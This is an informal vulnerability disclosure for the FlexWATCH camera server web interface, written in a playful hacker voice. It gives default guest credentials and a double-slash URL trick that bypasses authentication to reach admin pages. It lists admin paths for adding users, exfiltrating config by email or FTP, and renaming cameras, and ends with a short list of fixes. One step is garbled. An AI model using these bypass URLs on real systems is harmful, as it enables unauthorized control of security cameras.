   Unauthorized access Vulnerability in FlexWATCH camera Server.
       -----------------------------------------------------------

Vendor:
-------
 
·SEYEON Technology
·FlexWATCH Network Video Server 
Url: https://www.flexwatch.com/
Mail: sytech@seyeon.co.kr 


Product:
--------

All versions web based configuration utility.
I tested on SYS_MODEL = 132

FlexWATCH is a Camera Server entrusted to centralize for Web Administration .
It´s very frequently used by safety companies , banks , parks and comercial centres.




Description :
-------------

[Necora@eviluser]$ echo -e "HEAD / HTTP/1.0\n\n" | nc victim 80

HTTP/1.0 302 Redirect
Server: FlexWATCH-Webs <--- :)

*First:


 For default , you can read the source at index page and see that :
 
   <!-- You can modify here for user information. -->
       <!-- ex) ID:guest, PASSWORD:guest              -->

 Many System Use this user and password , but that isn´t important .





 I found that  :
  
------------u0xa-----------

      }
    function adminTool(){ window.open("admin/aindex.htm","aindex","width=790,height=430,status=yes,resizable"); }
    
  function select_sample()


------------u0xa-----------


<This is a autentification-javascript>

Url: admin/aindex.htm is a web based configuration  .






*I read more source pages , and see :


-----------u0xa------------



<APPLET mayscript width=352 height=260 archive="stream.jar" codebase='/app/applet' code=StreamApplet.class name=StreamApplet>
    


-----------u0xa------------


ummMm I want read stream.jar :



[Necora@eviluser]$ jar xf stream.jar 
-
META-INF/
META-INF/MANIFEST.MF
PrintfFormat$ConversionSpecification.class
CMsg.class
FInfo.class
StreamApplet.class
ImgCan.class
IMsg.class
JHCompr.class
JHEncry.class
JHManda.class
JHStand.class
LoginDlg.class  <---- (C:
MIMEBase64.class <--- old friend :)
CgiQueryInfo.class
PrintfFormat.class
QueryMng.class
Semaphore.class
SingleCgi.class <----- For now any cgi-url
StrCan.class
StreamCgi.class <----- For now any cgi-url
StreamSocket.class
StreamThread.class
TCBack.class
Timer.class
-

·It´s enough to know how the system works , authoritation , cgi , crypt..



---------------------------




*Second seen https://victim/live.html

and find that :


------------u0xa------------


<script language = "JavaScript" src="sysinfo.js"></script>

*Some time ago , i read a Security Vulnerability  in Boa , how can obtain access in privileged directory with '//'

Example :


https://victim//privileged.html  <--- ok?





*The Access camera url :
------------------------


https://victim//app/sample/ab1.html 



Wow! first access granted ! , now you have got identify in java-application .
But... why to search more there? if we can play with administration´s site o web, let´s try
 



https://victim//admin/aindex.htm <---- Interesting.... 





Now it´s very easy  :D , 


·Add a User for view cameras :

[Necora@eviluser]$ nc victim 80

            |
            |
      https://victim/app/sample/ab1.html    |

Examples :


·Configure e-mail adrees for send config :

  https://victim//admin/fset/fset_email.htm



·Configure FTP for send a "evil-config" troyan-cgi/asp conf .. blah blah.
        
        https://victim//admin/fset/fset_ftp.htm



·Edit modem configuration for phreakers :)

  https://victim//admin/fset/fset_modem.htm



·CHange Camera Names xD Camera1=xD Camera2=rules! Camera3=AznarSucks!

  https://victim//admin/aindex.htm



<Imagination , coffee and time.>






Possible solutions :
--------------------


·Activate the firewall to admit alone connections since the client that we want.

·Not to trust in the autentificacion on part of the client ( javascripts..)

·SEYEON invest in the safety ... a thief might use it to deactivate the cameras in a theft ...
